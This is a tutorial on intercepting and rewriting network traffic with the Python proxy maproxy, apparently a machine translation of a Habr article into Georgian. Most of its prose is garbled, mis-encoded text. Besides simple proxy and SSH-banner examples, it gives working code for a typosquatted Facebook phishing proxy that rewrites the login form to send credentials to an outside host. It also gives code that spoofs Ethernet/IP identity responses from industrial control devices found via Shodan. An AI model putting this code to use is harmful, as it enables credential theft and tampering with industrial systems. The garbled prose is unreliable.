แกแขแแขแแแก แแแ แแแแแ แแแแแแแแ แแฃแ แกแแก แแแฌแงแแแแก แฌแแแ แแฆแแก
แ แแแแฃแแ
แกแฎแแแแแกแฎแแ แขแแแแก แฃแกแแคแ แแฎแแแแแก แจแแคแแกแแแแแ, แแแฌแงแแแฃแแ แ แแแฃแแแ แฃแแ แจแแฆแฌแแแแแแแแก แขแแกแขแแ แแแแแแ แแ Red Team แแแแ แแชแแแแแแแ IoT/ICS แแแฌแงแแแแแแแแแแก แแ SCADA-แก แฐแแแแ แแแแแแ, แแแแชแแแก แแ แแแแแ แฅแกแแแแก แแ แแขแแแแแแแแแ แแฃแจแแแแแก, แแแฃ แแ แกแแแแแแ แฅแกแแแแก แแแแแชแแแแแแก แฉแแ แแแแก แแ แจแแชแแแแก แแแแแแขแกแ แแ แกแแแแแแแก แจแแ แแก. แฅแกแแแแก แขแ แแคแแแแก แแแแชแแแแ แแ แแ แแก แ แแฃแแ แแแแชแแแ, แ แแแแแ แฉแแแ แแแแฅแแก แแแกแขแ แฃแแแแขแแแ, แ แแแแ แแชแแ Wireshark, Tcpdump แแ Scapy, แแแแ แแ แแแแแคแแแแชแแ, แ แแแแ แช แฉแแแก, แฃแคแ แ แจแ แแแแขแแแแแ แแแแชแแแแ, แ แแแแแ แฉแแแ แแแแแญแแ แแแแ แ แแแแ แกแแฎแแก แแแขแแ แคแแแกแ แฅแกแแแแก แแแแแชแแแแแแก แฌแแกแแแแแฎแแ, แแแกแแคแแแขแ แแ, แจแแกแแชแแแแแแ. แแก แคแ แแแแก แแ แแก แแ แแแฃแแแแแแแ แกแแแแแแ แแแกแแแแซแแแก แแแแฅแแแก แ แแแแฃแ แแ แแจแ. แแแ แแ แแแแกแ, แแแแแแฃแ แ แแฅแแแแแแ, แแฃ แแกแแแ แฎแแแกแแฌแงแ แแแขแแแแขแฃแ แแ แแแฃแจแแแแแก แแ แแแแ แแแ แแแแแฃแ แแแแจแแ แแแ แแ แจแแแซแแแแ แแแแแแแคแแแฃแ แแ แแ แกแแ แแแขแแแแก แแแแแงแแแแแแ.
แแ แ แแฆแแก แแฆแแแแแฉแแแ แแแกแขแ แฃแแแแขแ แ.แฌ
, แแแแฃแแแแขแแชแแแ แกแฌแ แแคแแ แแแแฎแกแแ, แ แแ maproxy
- แแฎแแแแ แแก, แ แแช แแญแแ แแแแ. แแก แแ แแก แกแแแแแแ แแแ แขแแแ, แแ แแแแแแฎแ แแแ แแ แแแแแแแ แแแแคแแแฃแ แแ แแแแแ TCP แแ แแฅแกแ. แแ แแแแแแชแแแ แแก แแแกแขแ แฃแแแแขแ แ แแแแแแแแ แกแแแแแแ แ แแฃแ แแแแแแแชแแแแ, แแแ แจแแ แแก ICS แแแฌแงแแแแแแแแแแ (แ แแแแแแแช แฅแแแแแ แฃแแแ แแ แแแแแขแก), แ แแแ แแแแแแแฎแ, แจแแแซแแ แแฃ แแ แ แแแก แแ แแแแแ แแแ แแแแแฃแ แ แแแแจแแ แแก แแแแฃแจแแแแแ แแ แแแกแขแ แฃแแแแขแ แแแ แแแ แแฃแจแแแแแ.
แแก แกแขแแขแแ แแแแแชแแแแ แฅแกแแแแก แแแแแชแแแแแแก แแแแฃแจแแแแแแก แคแ แแแแก แแแแแงแแแแแแ maproxy
.
แแแแแฎแแแแก
Tool maproxy
แแแคแฃแซแแแแฃแแแ Tornado-แแ, แแแแฃแแแ แฃแ แแ แกแแฅแกแฃแแแฃแ แแกแแแฅแ แแแฃแ แฅแกแแแฃแ แฉแแ แฉแแแ Python-แจแ.
แแแแแแแ, แแแก แจแแฃแซแแแ แแฃแจแแแแ แ แแแแแแแแ แ แแแแแจแ:
TCP:TCP
- แแแฃแจแแคแ แแแ TCP แแแแจแแ แแแ;TCP:SSL
ะธSSL:TCP
โ แชแแแแฎแ แแแ แแแจแแคแแ แแ;SSL:SSL
- แแ แแฎแ แแแ แแแจแแคแแ แ.
แแก แแแแแก แ แแแแ แช แแแแแแแแแแ. แกแฌแ แแคแ แแแฌแงแแแแกแแแแก, แจแแแแซแแแแ แแแแแแงแแแแ แคแแแแแแแก แแแแแแแแ, แ แแแแแแแช แแกแแฎแแแก แแแแแแ แก
all.py
certificate.pem
logging_proxy.py
privatekey.pem
ssl2ssl.py
ssl2tcp.py
tcp2ssl.py
tcp2tcp.py
แจแแแแฎแแแแ 1 โ แแแ แขแแแ แแ แแฎแ แแแ แแ แแฅแกแ
แฒแแคแฃแซแแแแฃแแ tcp2tcp.py
:
#!/usr/bin/env python
import tornado.ioloop
import maproxy.proxyserver
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()
แกแขแแแแแ แขแฃแแแ ProxyServer()
แแฆแแแก แแ แแ แแฃแแแแขแก - แแแแจแแ แแก แแแแแแแแแแแ แแแแแก แแ แกแแแแแแ แแแ แขแก. server.listen()
แแฆแแแก แแ แ แแ แแฃแแแแขแก - แแแ แขแก แจแแแแแแแแแ แแแแจแแ แแก แแแกแแกแแแแแ.
แกแแ แแแขแแก แจแแกแ แฃแแแแ:
# python tcp2tcp.py
แขแแกแขแแก แแแกแแจแแแแแ, แฉแแแ แแแแแ แแแ แแแแฃแแแแจแแ แแแ แแแแแแแแ แแ SSH แกแแ แแแ แก แฉแแแแ แแ แแฅแกแ แกแแ แแแขแแก แแแจแแแแแแ, แ แแแแแแช แฃแกแแแแก 2222/tcp
แแแ แขแ แแ แฃแแแแจแแ แแแแ แกแขแแแแแ แขแฃแ แแแ แขแก 22/tcp
SSH แกแแ แแแ แแแ:
แแแกแแกแแแแแแแแ แแแแแ แ แแแชแแแแแแ, แ แแ แฉแแแแ แแแแแแแแแก แกแแ แแแขแแ แฌแแ แแแขแแแแ แแแแฎแแแแ แฅแกแแแแก แขแ แแคแแแแก แแ แแฅแกแ.
แจแแแแฎแแแแ 2 โ แแแแแชแแแแ แแแแแคแแแแชแแ
แแแแแ แแ แแ แแแแ แกแแ แแแขแ logging_proxy.py
แแแแแแฃแ แแ แฅแกแแแแก แแแแแชแแแแแแแ แฃแ แแแแ แแแแแกแแแแก. แคแแแแจแ แแแชแแแฃแแ แแแแแแขแแ แแแ แแฆแฌแแ แก แแแแกแแก แแแแแแแแก, แ แแแแแแแช แจแแแแซแแแแ แจแแชแแแแแ แแฅแแแแ แแแแแแก แแแกแแฆแฌแแแแ:
แงแแแแแแ แกแแแแขแแ แแกแ แแฅ แแ แแก:
on_c2p_done_read
โ แแแแแแขแแแแ แกแแ แแแ แแแแ แแแแแแแ แแแแแ แแแแแชแแแแแแก แฉแแ แแแ;on_p2s_done_read
- แจแแแ แฃแแแ.
แแแแแ แแชแแแแ SSH แแแแแ แแก แจแแชแแแ, แ แแแแแกแแช แกแแ แแแ แ แฃแแ แฃแแแแก แแแแแแขแก:
[โฆ]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[โฆ]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[โฆ]
แจแแแกแ แฃแแแ แกแแ แแแขแ:
แ แแแแ แช แฎแแแแแ, แแแแแแขแ แจแแชแแแแแจแ แจแแแงแแแแแก, แ แแแแแ แแแกแแแแก SSH แกแแ แแแ แแก แกแแฎแแแ แจแแแชแแแแ ยซDumnySSHยป
.
แจแแแแฎแแแแ 3 โ แแแ แขแแแ แคแแจแแแแแก แแแ แแแแ แแ
แแ แฎแแแกแแฌแงแแก แแแแแงแแแแแแก แฃแกแแกแ แฃแแ แแแ แแ แกแแแแแก. แแแฏแแ แแ, แแแแแ แแแแแแแฎแแแแแ แงแฃแ แแแฆแแแ แ แแฆแแช แฃแคแ แ แแ แแฅแขแแแฃแแแ แฌแแแแแ แแฃแแแแก แแแแ แแชแแแแแก แแฎแ แแแแ. แแแแแ แแแแแแซแแ แกแแแแกแแแขแ แแแแ แแก m.facebook.com
แแ แแแแแแงแแแแ แแแ แแแแฃแแ แแแแแแ แแแแแแแแแแ แแฃแแ แแแญแแแแแ แจแแชแแแแแ, แแแแแแแแแ, m.facebok.com
. แแแแแแกแขแ แแชแแแก แแแแแแ, แแแแฃแจแแแ, แ แแ แแแแแแ แแแ แแแแกแขแ แแ แแแฃแแแ แฉแแแแก แแแแ .
แฉแแแ แแแแแ แแแ แแแแแแงแแ แแ แแแจแแคแ แฃแแ แฅแกแแแฃแ แ แแแแจแแ แ แฉแแแแ แแกแฎแแแ แแแแก แแ แแฅแกแแกแแแ แแ SSL Stream-แแแ Facebook แกแแ แแแ แแแ (31.13.81.36
). แแแแกแแแแก, แ แแ แแก แแแแแแแแ แแแฃแจแแแก, แฉแแแ แฃแแแ แจแแแชแแแแแ HTTP แฐแแกแขแแก แกแแแแฃแ แ แแ แจแแแแงแแแแแ แกแฌแแ แ แฐแแกแขแแก แกแแฎแแแ, แแกแแแ แแแแฃแฅแแแแ แแแกแฃแฎแแก แจแแแฃแแจแแแก, แ แแแ แแแแแแแ แแแแแฆแแ แจแแแแแแกแแ. แกแแแแแแ แฏแแแจแ, แฉแแแ แจแแแชแแแแ HTML แคแแ แแแก แแกแ, แ แแ แจแแกแแแแก แกแแ แแแคแแแแขแแแ แแแแแแแแแแแแแแก Facebook-แแก แกแแ แแแ แแแแก แแแชแแแแ:
[โฆ]
def on_c2p_done_read(self,data):
# replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[โฆ]
def on_p2s_done_read(self,data):
# partial replacement of response
data = data.replace("action="/ka/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[โฆ]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[โฆ]
แฌแแแก แจแแแแฏแแแแแแแ:
แ แแแแ แช แฎแแแแแ, แฉแแแ แฌแแ แแแขแแแแ แจแแแซแแแแ แแ แแแแแแแฃแ แ แกแแแขแแก แจแแชแแแ.
แจแแแแฎแแแแ 4 โ Ethernet/IP-แแก แแแ แขแแ แแแ
แกแแแแแแ แแแแ แฎแแแแ แกแแฅแแ แแแฅแแก แกแแแ แแฌแแแแ แแแฌแงแแแแแแแแแแแ แแ แแ แแแ แแแแแแแ (ICS/SCADA), แ แแแแ แแชแแ แแ แแแ แแแแ แแแแแ แแแแขแ แแแแ แแแ (PLC), I/O แแแแฃแแแแ, แแแกแแแแ, แ แแแแแแ, แแแแแแแแก แแ แแแ แแแแ แแแแก แแแ แแแ แแ แแ แแแแแ แกแฎแแ. แแก แกแแฅแแ แแแแแแแกแแ, แแแกแแช แกแแแ แแฌแแแแ แแแแแแแ แฃแงแแแ แก. แแกแแแ แแแแแฌแงแแแขแแแแแแแแก แแแขแแฎแแ แแฃแแแกแฎแแแแก แฅแกแแแแก แแ แแขแแแแแแแแแ แแฅแขแแฃแ แแแแแจแก. แจแแแแแ แแแแแแแแจแ แแกแฃแ แก แแแฉแแแแแ, แแฃ แ แแแแ แจแแแแซแแแแ แจแแชแแแแแ ICS/SCADA แฅแกแแแแก แขแ แแคแแแ.
แแแแกแแแแก แแแแญแแ แแแแแ แจแแแแแแ:
- แฅแกแแแแก แกแแแแคแแ แ, แแแแแแแแแ, Wireshark;
- Ethernet/IP แแ แฃแแ แแแแ SIP แแแฌแงแแแแแแแ, แจแแแแซแแแแ แแแแแแ Shodan แกแแ แแแกแแก แแแแแงแแแแแแ;
- แฉแแแแ แกแชแแแแ แ แแคแฃแซแแแแ
maproxy
.
แแแ แแแ แ แแแจแ, แแแแฎแแ, แ แแแแ แแแแแแงแฃแ แแแ แขแแแแฃแ แ แกแแแแแแขแแคแแแแชแแ แแแกแฃแฎแ CIP-แแแ (แกแแแ แแ แกแแแ แแฌแแแแ แแ แแขแแแแแ):
แแแฌแงแแแแแแแแก แแแแแขแแคแแแแชแแ แฎแแ แชแแแแแแแ Ethernet/IP แแ แแขแแแแแแก แแแแแงแแแแแแ, แ แแแแแแช แฌแแ แแแแแแแแก แกแแแ แแฌแแแแ Ethernet แแ แแขแแแแแแก แแแซแแแแ แแแฃแ แแแ แกแแแก, แ แแแแแแช แแฎแแแแก แกแแแแแขแ แแแ แแ แแขแแแแแแแก, แ แแแแ แแชแแ CIP. แฉแแแ แแแแแ แแแ แจแแแชแแแแแ แแแแแจแแฃแแ ID แกแแฎแแแ, แ แแแแแแช แฉแแแก แแแ แแแแก แกแฃแ แแแแ "NI-IndComm Ethernet-แแกแแแแก" แฉแแแแ แแ แแฅแกแ แกแแ แแแขแแก แแแแแงแแแแแแ. แฉแแแ แจแแแแแซแแแ แกแแ แแแขแแก แฎแแแแฎแแ แแแแแงแแแแแ logging_proxy.py
แแ แแแแแแแแฃแ แแ แจแแชแแแแแ แแแแกแแก แแแแแแ on_p2s_done_read
, แ แแแแแ แแแกแฃแ แก แแแแแแขแแ แฎแแแฃแแ แแงแแก แกแฎแแ แแแ แแแแแแก แกแแฎแแแ.
แแแแ:
[โฆ]
def on_p2s_done_read(self,data):
# partial replacement of response
# Checking if we got List Identity message response
if data[26:28] == b'x0cx00':
print('Got response, replacing')
data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
super(LoggingSession,self).on_p2s_done_read(data)
[โฆ]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[โฆ]
แแ แกแแแแแแ, แฉแแแ แแ แฏแแ แแแแฎแแแแ แแแฌแงแแแแแแแแก แแแแแขแแคแแแแชแแ, แแแแ แ แแแกแฃแฎแ แแงแ แแ แแแแแแแ แแ แแแ แแแแ แจแแชแแแแแ แแงแ แคแ แแแแก แแ แแก.
แแ แแแแ
แฒฉแแแ แแแ แแ maproxy
แแแกแแฎแแ แฎแแแแแ แแ แแแ แขแแแ แแแกแขแ แฃแแแแขแ, แ แแแแแแช แแกแแแ แแแแแแจแแ แแแฌแแ แแแ, แแกแ แ แแ, แแ แแฏแแ แ, แ แแ แแฅแแแแช แจแแแแซแแแแ แแกแแ แแแแแแ แแแกแ แแแแแงแแแแแแ. แ แ แแฅแแ แฃแแแ, แแ แกแแแแแก แฃแคแ แ แ แแฃแแ แแแกแขแ แฃแแแแขแแแ แฅแกแแแแก แแแแแชแแแแแแก แแแแฃแจแแแแแแกแ แแ แแแแแคแแชแแ แแแแกแแแแก, แแแแ แแ แแกแแแ แแกแแแ แกแแญแแ แแแแแ แแแข แงแฃแ แแแฆแแแแก แแ แฉแแแฃแแแแ แแ แแฅแแแแแ แแแแแ แแขแฃแแ แแแแแงแแแแแแก แจแแแแฎแแแแแกแแแแก, แแแ. maproxy
แแฅแแแ แจแแแแซแแแแ แกแฌแ แแคแแ แแแแแฎแแ แชแแแแแ แแฅแแแแ แแแแแแ แฅแกแแแแก แแแแแชแแแแแแก แแแแแกแแญแ แแแแ, แ แแแแแ แแแแแแแแแก แกแแ แแแขแแแ แซแแแแแ แแแแคแแแ.
แฌแงแแ แ: www.habr.com